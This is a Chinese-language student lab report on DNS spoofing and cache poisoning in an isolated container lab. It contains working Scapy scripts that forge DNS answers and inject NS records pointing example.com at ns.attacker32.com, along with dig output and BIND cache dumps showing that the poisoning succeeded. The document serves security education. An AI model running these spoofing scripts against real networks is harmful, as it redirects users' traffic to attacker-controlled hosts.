57118231 向颖

测试初始环境

获得 ns.attacker32.com 的 IP

```
root@c2943da59d5b:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58058
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3f135b95ef07a8b80100000060f54a10b440c68f23ecfdd1 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      257525  IN      A       10.9.0.153

;; Query time: 7 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 09:46:56 UTC 2021
;; MSG SIZE  rcvd: 90
```

获得 www.example.com 的 IP
直接询问无法获取

```
root@c2943da59d5b:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; connection timed out; no servers could be reached
```

通过询问 ns.attacker.com 才能获取

```
root@c2943da59d5b:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 709
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: b44475c313e11dee0100000060f545652c2b8985d7ff9aa8 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Mon Jul 19 09:27:01 UTC 2021
;; MSG SIZE  rcvd: 88
```

Task1

攻击代码如下

```python
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='10.9.0.153')

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=0, rd=0, qr=1,qdcount=1, ancount=1,an=Anssec)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and dst port 53'
pkt = sniff(iface='br-05dcc88c9a60', filter=f, prn=spoof_dns)
```

攻击结果如下，可以看到成功伪造了 DNS 响应

```
root@c2943da59d5b:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23897
;; flags: qr; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.9.0.153

;; Query time: 71 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 10:28:50 UTC 2021
;; MSG SIZE  rcvd: 64
```

Task2

攻击代码

```python
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))


    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='10.9.0.153')

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, rd=0, qr=1,qdcount=1, ancount=1,an=Anssec)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and dst port 53 and src host 10.9.0.53'
pkt = sniff(iface='br-22a34e410870', filter=f, prn=spoof_dns)
```

攻击效果如下，可以看到 user 主机得到的 www.example.com 的 IP 是伪造的 IP

```
root@c2943da59d5b:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52823
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: ca1a183216cc9fa00100000060f567130c2dd29710c27c56 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.9.0.153

;; Query time: 371 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 11:50:43 UTC 2021
;; MSG SIZE  rcvd: 88
```

查看本地 dns 路由器的 cache，如图，可以看到已经成功实现投毒

```
root@ad2b30d4fe65:/var/cache# cat /var/cache/bind/dump.db | grep example
example.com.            777594  NS      a.iana-servers.net.
www.example.com.        863994  A       10.9.0.153
```

Task3

攻击代码

```
def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))


    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   ttl=259200, rdata='10.9.0.153')

    NSsec1 = DNSRR(rrname='example.com', type='NS',
                    ttl=259200, rdata='ns.attacker32.com')

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1,rd=0, qr=1,
                 qdcount=1, ancount=1,nscount=1,
                 an=Anssec,ns=NSsec1)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and dst port 53 and src host 10.9.0.53'
pkt = sniff(iface='br-22a34e410870', filter=f, prn=spoof_dns)
```

攻击效果如下，可以看到 user 主机得到了 ns.attacker32.com 伪造的 mail.example.com 的 IP

```
root@c96ccdf4c258:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61309
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a2d57b60cce741e20100000060f6e0338cc3ef5d4eccd49d (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 1000 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Jul 20 14:39:47 UTC 2021
;; MSG SIZE  rcvd: 89
```

查看本地 dns 路由器的 cache，如图，可以看到有域名 example.com 的服务器的记录，由于之前有过一次对 mail.example.com 的 DNS 查询因此还有该地址的记录，攻击成功

```
root@ad2b30d4fe65:/var/cache# cat /var/cache/bind/dump.db | grep example
example.com.            863980  NS      ns.attacker32.com.
_.example.com.          863980  A       10.9.0.153
mail.example.com.       863980  A       1.2.3.6
```

Task4

攻击代码

```python
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))


    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    #Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
    #            ttl=259200, rdata='10.9.0.153')

    NSsec1 = DNSRR(rrname='google.com', type='NS',
                   ttl=259200, rdata='ns.attacker32.com')
    NSsec2 = DNSRR(rrname='example.com', type='NS',
                   ttl=259200, rdata='ns.attacker32.com')

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1,rd=0, qr=1,
                 qdcount=1, ancount=0,nscount=2,
                 ns=NSsec1/NSsec2)

```

攻击效果，得到了由 ns.attacker32.com 伪造的 IP

```
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63485
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3b1d19f1c4e357d10100000060f6e7b6e225e91244319b22 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 1200 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue Jul 20 15:11:50 UTC 2021
;; MSG SIZE  rcvd: 88
```

查看本地路由器的缓存，发现只有 example.com 域名的 NS 项，没有 google.com 的项

```
root@ad2b30d4fe65:/var/cache# cat /var/cache/bind/dump.db | grep example
example.com.            863986  NS      ns.attacker32.com.
_.example.com.          863986  A       10.9.0.153
www.example.com.        863986  A       1.2.3.5
```

将攻击代码中检测条件改为 google.com，user 主机 dig www.google.com，发现本地路由器中的缓存如下

```
root@ad2b30d4fe65:/var/cache# cat /var/cache/bind/dump.db | grep google
google.com.             863977  NS      ns.attacker32.com.
;               www.google.com A [lame TTL 577]
```

说明只能实现对 DNS 查询的域名对应域进行 NS 伪造攻击

Task5

攻击代码

```
if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
  print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))


  # Swap the source and destination IP address
  IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

  # Swap the source and destination port number
  UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

  # The Answer Section
  Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
           ttl=259200, rdata='6.6.6.6')

  NSsec1 = DNSRR(rrname='example.com', type='NS',
                 ttl=259200, rdata='ns.attacker32.com')
  NSsec2 = DNSRR(rrname='example.com', type='NS',
                 ttl=259200, rdata='ns.example.com')

  # The Additional Section
  Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',
                  ttl=259200, rdata='1.2.3.4')
  Addsec2 = DNSRR(rrname='ns.example.com', type='A',
                  ttl=259200, rdata='5.6.7.8')
  Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
                  ttl=259200, rdata='3.4.5.6')

  # Construct the DNS packet
  DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1,rd=0, qr=1,
               qdcount=1, ancount=1, nscount=2,arcount=3,
               an=Anssec, ns=NSsec1/NSsec2,ar=Addsec1/Addsec2/Addsec3)
```

攻击效果，得到的是 ns.attacker32.com 伪造的 IP 而非程序伪造的 IP。既然这个伪造报文已经影响了本地服务器对应域的 ns，那其 answer 部分应该不可能比本地域名服务器再向 ns 询问更慢，因此原因不明。

```
root@c96ccdf4c258:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4874
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 4180f1fc001150d30100000060f702921c08f21102c7583d (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5
```

本地路由器缓存如图，没有 facebook 项

```
root@ad2b30d4fe65:/var/cache# cat /var/cache/bind/dump.db | grep example
example.com.            863710  NS      ns.attacker32.com.
_.example.com.          863710  A       6.6.6.6
mail.example.com.       863720  A       1.2.3.6
ns.example.com.         863710  A       6.6.6.6
www.example.com.        863710  A       1.2.3.5
; ns.example.com [v4 TTL 1510] [v4 success] [v6 unexpected]
root@ad2b30d4fe65:/var/cache# cat /var/cache/bind/dump.db | grep attacker32
ns.attacker32.com.      615310  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419200 86400
example.com.            863710  NS      ns.attacker32.com.
; ns.attacker32.com [v4 TTL 1510] [v6 TTL 10510] [v4 success] [v6 nxrrset]
root@ad2b30d4fe65:/var/cache# cat /var/cache/bind/dump.db | grep facebook
```